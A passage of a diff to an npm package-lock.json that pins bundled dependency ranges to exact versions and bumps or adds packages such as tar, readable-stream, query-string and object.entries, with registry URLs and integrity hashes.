"string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "path-exists": { @@ -12604,6 +13645,10 @@ "version": "2.0.1", "bundled": true }, + "path-parse": { + "version": "1.0.6", + "bundled": true + }, "performance-now": { "version": "2.1.0", "bundled": true @@ -12628,8 +13673,8 @@ "version": "1.1.1", "bundled": true, "requires": { - "err-code": "^1.0.0", - "retry": "^0.10.0" + "err-code": "1.1.2", + "retry": "0.10.1" }, "dependencies": { "retry": { @@ -12642,7 +13687,7 @@ "version": "0.3.0", "bundled": true, "requires": { - "read": "1" + "read": "1.0.7" } }, "proto-list": { @@ -12650,10 +13695,10 @@ "bundled": true }, "protoduck": { - "version": "5.0.0", + "version": "5.0.1", "bundled": true, "requires": { - "genfun": "^4.0.1" + "genfun": "5.0.0" } }, "prr": { @@ -12672,25 +13717,25 @@ "version": "3.0.0", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } }, "pumpify": { "version": "1.5.1", "bundled": true, "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" + "duplexify": "3.6.0", + "inherits": "2.0.4", + "pump": "2.0.1" }, "dependencies": { "pump": { "version": "2.0.1", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" + "end-of-stream": "1.4.1", + "once": "1.4.0" } } } @@ -12708,11 +13753,12 @@ "bundled": true }, "query-string": { - "version": "6.1.0", + "version": "6.8.2", "bundled": true, "requires": { - "decode-uri-component": "^0.2.0", - "strict-uri-encode": "^2.0.0" + "decode-uri-component": "0.2.0", + "split-on-first": "1.1.0", + "strict-uri-encode": "2.0.0" } }, "qw": { @@ -12723,10 +13769,10 @@ "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -12739,113 +13785,107 @@ "version": "1.0.7", "bundled": true, "requires": { - "mute-stream": "~0.0.4" + "mute-stream": "0.0.7" } }, "read-cmd-shim": { - "version": "1.0.1", + "version": "1.0.5", "bundled": true, "requires": { - "graceful-fs": "^4.1.2" + "graceful-fs": "4.2.3" } }, "read-installed": { "version": "4.0.3", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "graceful-fs": "^4.1.2", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "slide": "~1.1.3", - "util-extend": "^1.0.1" + "debuglog": "1.0.1", + "graceful-fs": "4.2.3", + "read-package-json": "2.1.0", + "readdir-scoped-modules": "1.1.0", + "semver": "5.7.1", + "slide": "1.1.6", + "util-extend": "1.0.3" } }, "read-package-json": { - "version": "2.0.13", + "version": "2.1.0", "bundled": true, "requires": { - "glob": "^7.1.1", - "graceful-fs": "^4.1.2", - "json-parse-better-errors": "^1.0.1", - "normalize-package-data": "^2.0.0", - "slash": "^1.0.0" + "glob": "7.1.4", + "graceful-fs": "4.2.3", + "json-parse-better-errors": "1.0.2", + "normalize-package-data": "2.5.0", + "slash": "1.0.0" } }, "read-package-tree": { - "version": "5.2.1", + "version": "5.3.1", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "once": "^1.3.0", - "read-package-json": "^2.0.0", - "readdir-scoped-modules": "^1.0.0" + "read-package-json": "2.1.0", + "readdir-scoped-modules": "1.1.0", + "util-promisify": "2.1.0" } }, "readable-stream": { - "version": "2.3.6", + "version": "3.4.0", "bundled": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "inherits": "2.0.4", + "string_decoder": "1.2.0", + "util-deprecate": "1.0.2" } }, "readdir-scoped-modules": { - "version": "1.0.2", + "version": "1.1.0", "bundled": true, "requires": { - "debuglog": "^1.0.1", - "dezalgo": "^1.0.0", - "graceful-fs": "^4.1.2", - "once": "^1.3.0" + "debuglog": "1.0.1", + "dezalgo": "1.0.3", + "graceful-fs": "4.2.3", + "once": "1.4.0" } }, "registry-auth-token": { "version": "3.3.2", "bundled": true, "requires": { - "rc": "^1.1.6", - "safe-buffer": "^5.0.1" + "rc": "1.2.7", + "safe-buffer": "5.1.2" } }, "registry-url": { "version": "3.1.0", "bundled": true, "requires": { - "rc": "^1.0.1" + "rc": "1.2.7" } }, "request": { "version": "2.88.0", "bundled": true, "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.8.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.6", - "extend": "~3.0.2", - "forever-agent": "~0.6.1", - "form-data": "~2.3.2", - "har-validator": "~5.1.0", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.19", - "oauth-sign": "~0.9.0", - "performance-now": "^2.1.0", - "qs": "~6.5.2", - "safe-buffer": "^5.1.2", - "tough-cookie": "~2.4.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.3.2" + "aws-sign2": "0.7.0", + "aws4": "1.8.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.2", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.1.0", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.19", + "oauth-sign": "0.9.0", + "performance-now": "2.1.0", + "qs": "6.5.2", + "safe-buffer": "5.1.2", + "tough-cookie": "2.4.3", + "tunnel-agent": "0.6.0", + "uuid": "3.3.3" } }, "require-directory": { @@ -12865,17 +13905,23 @@ "bundled": true }, "rimraf": { - "version": "2.6.2", + "version": "2.6.3", "bundled": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.4" } }, "run-queue": { "version": "1.0.3", "bundled": true, "requires": { - "aproba": "^1.1.1" + "aproba": "1.2.0" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true + } } }, "safe-buffer": { @@ -12887,14 +13933,14 @@ "bundled": true }, "semver": { - "version": "5.5.0", + "version": "5.7.1", "bundled": true }, "semver-diff": { "version": "2.1.0", "bundled": true, "requires": { - "semver": "^5.0.3" + "semver": "5.7.1" } }, "set-blocking": { @@ -12902,18 +13948,17 @@ "bundled": true }, "sha": { - "version": "2.0.1", + "version": "3.0.0", "bundled": true, "requires": { - "graceful-fs": "^4.1.2", - "readable-stream": "^2.0.2" + "graceful-fs": "4.2.3" } }, "shebang-command": { "version": "1.2.0", "bundled": true, "requires": { - "shebang-regex": "^1.0.0" + "shebang-regex": "1.0.0" } }, "shebang-regex": { @@ -12933,23 +13978,32 @@ "bundled": true }, "smart-buffer": { - "version": "4.0.1", + "version": "4.1.0", "bundled": true }, "socks": { - "version": "2.2.0", + "version": "2.3.3", "bundled": true, "requires": { - "ip": "^1.1.5", - "smart-buffer": "^4.0.1" + "ip": "1.1.5", + "smart-buffer": "4.1.0" } }, "socks-proxy-agent": { - "version": "4.0.1", + "version": "4.0.2", "bundled": true, "requires": { - "agent-base": "~4.2.0", - "socks": "~2.2.0" + "agent-base": "4.2.1", + "socks": "2.3.3" + }, + "dependencies": { + "agent-base": { + "version": "4.2.1", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + } + } } }, "sorted-object": { @@ -12960,16 +14014,16 @@ "version": "2.1.3", "bundled": true, "requires": { - "from2": "^1.3.0", - "stream-iterate": "^1.1.0" + "from2": "1.3.0", + "stream-iterate": "1.2.0" }, "dependencies": { "from2": { "version": "1.3.0", "bundled": true, "requires": { - "inherits": "~2.0.1", - "readable-stream": "~1.1.10" + "inherits": "2.0.4", + "readable-stream": "1.1.14" } }, "isarray": { @@ -12980,10 +14034,10 @@ "version": "1.1.14", "bundled": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", + "core-util-is": "1.0.2", + "inherits": "2.0.4", "isarray": "0.0.1", - "string_decoder": "~0.10.x" + "string_decoder": "0.10.31" } }, "string_decoder": { @@ -12996,8 +14050,8 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.3" } }, "spdx-exceptions": { @@ -13008,47 +14062,76 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.3" } }, "spdx-license-ids": { - "version": "3.0.0", + "version": "3.0.3", + "bundled": true + }, + "split-on-first": { + "version": "1.1.0", "bundled": true }, "sshpk": { "version": "1.14.2", "bundled": true, "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" + "asn1": "0.2.4", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.2", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.2", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "safer-buffer": "2.1.2", + "tweetnacl": "0.14.5" } }, "ssri": { - "version": "6.0.0", - "bundled": true + "version": "6.0.1", + "bundled": true, + "requires": { + "figgy-pudding": "3.5.1" + } }, "stream-each": { "version": "1.2.2", "bundled": true, "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" } }, "stream-iterate": { "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "^2.1.5", - "stream-shift": "^1.0.0" + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "stream-shift": { @@ -13063,8 +14146,8 @@ "version": "2.1.1", "bundled": true, "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" }, "dependencies": { "ansi-regex": { @@ -13079,27 +14162,27 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } } } }, "string_decoder": { - "version": "1.1.1", + "version": "1.2.0", "bundled": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.2" } }, "stringify-package": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true }, "strip-ansi": { "version": "3.0.1", "bundled": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-eof": { @@ -13114,25 +14197,29 @@ "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } }, "tar": { - "version": "4.4.6", + "version": "4.4.13", "bundled": true, "requires": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.3.3", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.2" + "chownr": "1.1.3", + "fs-minipass": "1.2.7", + "minipass": "2.9.0", + "minizlib": "1.3.3", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.2", + "yallist": "3.0.3" }, "dependencies": { - "yallist": { - "version": "3.0.2", - "bundled": true + "minipass": { + "version": "2.9.0", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2", + "yallist": "3.0.3" + } } } }, @@ -13140,7 +14227,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "execa": "^0.7.0" + "execa": "0.7.0" } }, "text-table": { @@ -13155,8 +14242,30 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" + "readable-stream": "2.3.6", + "xtend": "4.0.1" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.4", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.2", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "requires": { + "safe-buffer": "5.1.2" + } + } } }, "timed-out": { @@ -13171,15 +14280,15 @@ "version": "2.4.3", "bundled": true, "requires": { - "psl": "^1.1.24", - "punycode": "^1.4.1" + "psl": "1.1.29", + "punycode": "1.4.1" } }, "tunnel-agent": { "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "^5.0.1" + "safe-buffer": "5.1.2" } }, "tweetnacl": { @@ -13200,24 +14309,24 @@ "bundled": true }, "unique-filename": { - "version": "1.1.0", + "version": "1.1.1", "bundled": true, "requires": { - "unique-slug": "^2.0.0" + "unique-slug": "2.0.0" } }, "unique-slug": { "version": "2.0.0", "bundled": true, "requires": { - "imurmurhash": "^0.1.4" + "imurmurhash": "0.1.4" } }, "unique-string": { "version": "1.0.0", "bundled": true, "requires": { - "crypto-random-string": "^1.0.0" + "crypto-random-string": "1.0.0" } }, "unpipe": { @@ -13232,23 +14341,23 @@ "version": "2.5.0", "bundled": true, "requires": { - "boxen": "^1.2.1", - "chalk": "^2.0.1", - "configstore": "^3.0.0", - "import-lazy": "^2.1.0", - "is-ci": "^1.0.10", - "is-installed-globally": "^0.1.0", - "is-npm": "^1.0.0", - "latest-version": "^3.0.0", - "semver-diff": "^2.0.0", - "xdg-basedir": "^3.0.0" + "boxen": "1.3.0", + "chalk": "2.4.1", + "configstore": "3.1.2", + "import-lazy": "2.1.0", + "is-ci": "1.1.0", + "is-installed-globally": "0.1.0", + "is-npm": "1.0.0", + "latest-version": "3.1.0", + "semver-diff": "2.1.0", + "xdg-basedir": "3.0.0" } }, "url-parse-lax": { "version": "1.0.0", "bundled": true, "requires": { - "prepend-http": "^1.0.1" + "prepend-http": "1.0.4" } }, "util-deprecate": { @@ -13259,46 +14368,53 @@ "version": "1.0.3", "bundled": true }, + "util-promisify": { + "version": "2.1.0", + "bundled": true, + "requires": { + "object.getownpropertydescriptors": "2.0.3" + } + }, "uuid": { - "version": "3.3.2", + "version": "3.3.3", "bundled": true }, "validate-npm-package-license": { "version": "3.0.4", "bundled": true, "requires": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" + "spdx-correct": "3.0.0", + "spdx-expression-parse": "3.0.0" } }, "validate-npm-package-name": { "version": "3.0.0", "bundled": true, "requires": { - "builtins": "^1.0.3" + "builtins": "1.0.3" } }, "verror": { "version": "1.10.0", "bundled": true, "requires": { - "assert-plus": "^1.0.0", + "assert-plus": "1.0.0", "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" + "extsprintf": "1.3.0" } }, "wcwidth": { "version": "1.0.1", "bundled": true, "requires": { - "defaults": "^1.0.3" + "defaults": "1.0.3" } }, "which": { "version": "1.3.1", "bundled": true, "requires": { - "isexe": "^2.0.0" + "isexe": "2.0.0" } }, "which-module": { @@ -13309,16 +14425,16 @@ "version": "1.1.2", "bundled": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -13327,31 +14443,31 @@ "version": "2.0.0", "bundled": true, "requires": { - "string-width": "^2.1.1" + "string-width": "2.1.1" } }, "worker-farm": { - "version": "1.6.0", + "version": "1.7.0", "bundled": true, "requires": { - "errno": "~0.1.7" + "errno": "0.1.7" } }, "wrap-ansi": { "version": "2.1.0", "bundled": true, "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "string-width": "1.0.2", + "strip-ansi": "3.0.1" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -13361,12 +14477,12 @@ "bundled": true }, "write-file-atomic": { - "version": "2.3.0", + "version": "2.4.3", "bundled": true, "requires": { - "graceful-fs": "^4.1.11", - "imurmurhash": "^0.1.4", - "signal-exit": "^3.0.2" + "graceful-fs": "4.2.3", + "imurmurhash": "0.1.4", + "signal-exit": "3.0.2" } }, "xdg-basedir": { @@ -13382,25 +14498,25 @@ "bundled": true }, "yallist": { - "version": "2.1.2", + "version": "3.0.3", "bundled": true }, "yargs": { "version": "11.0.0", "bundled": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.2", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" }, "dependencies": { "y18n": { @@ -13413,7 +14529,7 @@ "version": "9.0.2", "bundled": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "4.1.0" } } } @@ -13424,7 +14540,7 @@ "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", "dev": true, "requires": { - "path-key": "^2.0.0" + "path-key": "2.0.1" } }, "npmlog": { @@ -13432,10 +14548,10 @@ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.5", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "nth-check": { @@ -13444,7 +14560,7 @@ "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", "dev": true, "requires": { - "boolbase": "~1.0.0" + "boolbase": "1.0.0" } }, "null-loader": { @@ -13481,9 +14597,9 @@ "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", "dev": true, "requires": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" + "copy-descriptor": "0.1.1", + "define-property": "0.2.5", + "kind-of": "3.2.2" }, "dependencies": { "define-property": { @@ -13492,15 +14608,27 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } } } }, "object-hash": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.0.tgz", - "integrity": "sha512-05KzQ70lSeGSrZJQXE5wNDiTkBJDlUT/myi6RX9dVIvz7a7Qh4oH93BQdiPMn27nldYvVQCKMUaM83AfizZlsQ==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-1.3.1.tgz", + "integrity": "sha512-OSuu/pU4ENM9kmREg0BdNrUDIl1heYa4mBZacJc+vVWz4GtAwu7jO8s4AIt2aGRUTqxykpWzI3Oqnsm13tTMDA==", + "dev": true + }, + "object-inspect": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.7.0.tgz", + "integrity": "sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==", + "dev": true + }, + "object-is": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.0.1.tgz", + "integrity": "sha1-CqYOyZiaCz7Xlc9NBvYs8a1lObY=", "dev": true }, "object-keys": { @@ -13515,7 +14643,7 @@ "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", "dev": true, "requires": { - "isobject": "^3.0.0" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -13532,10 +14660,80 @@ "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", "dev": true, "requires": { - "define-properties": "^1.1.2", - "function-bind": "^1.1.1", - "has-symbols": "^1.0.0", - "object-keys": "^1.0.11" + "define-properties": "1.1.3", + "function-bind": "1.1.1", + "has-symbols": "1.0.0", + "object-keys": "1.0.12" + } + }, + "object.entries": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.0.tgz", + "integrity": "sha512-l+H6EQ8qzGRxbkHOd5I/aHRhHDKoQXQ8g0BYt4uSweQU1/J6dZUOyWh9a2Vky35YCKjzmgxOzta2hH6kf9HuXA==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0", + "function-bind": "1.1.1", + "has": "1.0.3" + } + }, + "object.fromentries": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.1.tgz", + "integrity": "sha512-PUQv8Hbg3j2QX0IQYv3iAGCbGcu4yY4KQ92/dhA4sFSixBmSmp13UpDLs6jGK8rBtbmhNNIK99LD2k293jpiGA==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.16.0", + "function-bind": "1.1.1", + "has": "1.0.3" + }, + "dependencies": { + "es-abstract": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.16.0.tgz", + "integrity": "sha512-xdQnfykZ9JMEiasTAJZJdMWCQ1Vm00NBw79/AWi7ELfZuuPCSOMDZbT9mkOfSctVtfhb+sAAzrm+j//GjjLHLg==", + "dev": true, + "requires": { + "es-to-primitive": "1.2.1", + "function-bind": "1.1.1", + "has": "1.0.3", + "has-symbols": "1.0.0", + "is-callable": "1.1.4", + "is-regex": "1.0.4", + "object-inspect": "1.7.0", + "object-keys": "1.1.1", + "string.prototype.trimleft": "2.1.0", + "string.prototype.trimright": "2.1.0" + } + }, + "es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "requires": { + "is-callable": "1.1.4", + "is-date-object": "1.0.1", + "is-symbol": "1.0.2" + } + }, + "is-symbol": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.2.tgz", + "integrity": "sha512-HS8bZ9ox60yCJLH9snBpIwv9pYUAkcuLhSA1oero1UB5y9aiQpRA8y2ex945AOtCZL1lJDeIk3G5LthswI46Lw==", + "dev": true, + "requires": { + "has-symbols": "1.0.0" + } + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true + } } }, "object.getownpropertydescriptors": { @@ -13544,8 +14742,8 @@ "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", "dev": true, "requires": { - "define-properties": "^1.1.2", - "es-abstract": "^1.5.1" + "define-properties": "1.1.3", + "es-abstract": "1.12.0" } }, "object.omit": { @@ -13555,8 +14753,8 @@ "dev": true, "optional": true, "requires": { - "for-own": "^0.1.4", - "is-extendable": "^0.1.1" + "for-own": "0.1.5", + "is-extendable": "0.1.1" } }, "object.pick": { @@ -13565,7 +14763,7 @@ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", "dev": true, "requires": { - "isobject": "^3.0.1" + "isobject": "3.0.1" }, "dependencies": { "isobject": { @@ -13576,6 +14774,18 @@ } } }, + "object.values": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.0.tgz", + "integrity": "sha512-8mf0nKLAoFX6VlNVdhGj31SVYpaNFtUnuoOXWyFEstsWRgU837AK+JYM0iAxwkSzGRbwn8cbFmgbyxj1j4VbXg==", + "dev": true, + "requires": { + "define-properties": "1.1.3", + "es-abstract": "1.12.0", + "function-bind": "1.1.1", + "has": "1.0.3" + } + }, "obuf": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", @@ -13592,9 +14802,9 @@ } }, "on-headers": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.1.tgz", - "integrity": "sha1-ko9dD0cNSTQmUepnlLCFfBAGk/c=", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", "dev": true }, "once": { @@ -13602,7 +14812,7 @@ "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "onetime": { @@ -13611,16 +14821,16 @@ "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "requires": { - "mimic-fn": "^1.0.0" + "mimic-fn": "1.2.0" } }, "opn": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz", - "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==", + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz", + "integrity": "sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==", "dev": true, "requires": { - "is-wsl": "^1.1.0" + "is-wsl": "1.1.0" } }, "optimist": { @@ -13629,8 +14839,8 @@ "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", "dev": true, "requires": { - "minimist": "~0.0.1", - "wordwrap": "~0.0.2" + "minimist": "0.0.10", + "wordwrap": "0.0.3" }, "dependencies": { "minimist": { @@ -13653,12 +14863,12 @@ "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "requires": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.4", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "wordwrap": "~1.0.0" + "deep-is": "0.1.3", + "fast-levenshtein": "2.0.6", + "levn": "0.3.0", + "prelude-ls": "1.1.2", + "type-check": "0.3.2", + "wordwrap": "1.0.0" } }, "original": { @@ -13667,7 +14877,7 @@ "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==", "dev": true, "requires": { - "url-parse": "^1.4.3" + "url-parse": "1.4.7" } }, "os-browserify": { @@ -13682,14 +14892,31 @@ "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=" }, "os-locale": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-2.1.0.tgz", - "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz", + "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==", "dev": true, "requires": { - "execa": "^0.7.0", - "lcid": "^1.0.0", - "mem": "^1.1.0" + "execa": "1.0.0", + "lcid": "2.0.0", + "mem": "4.3.0" + }, + "dependencies": { + "invert-kv": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", + "integrity": 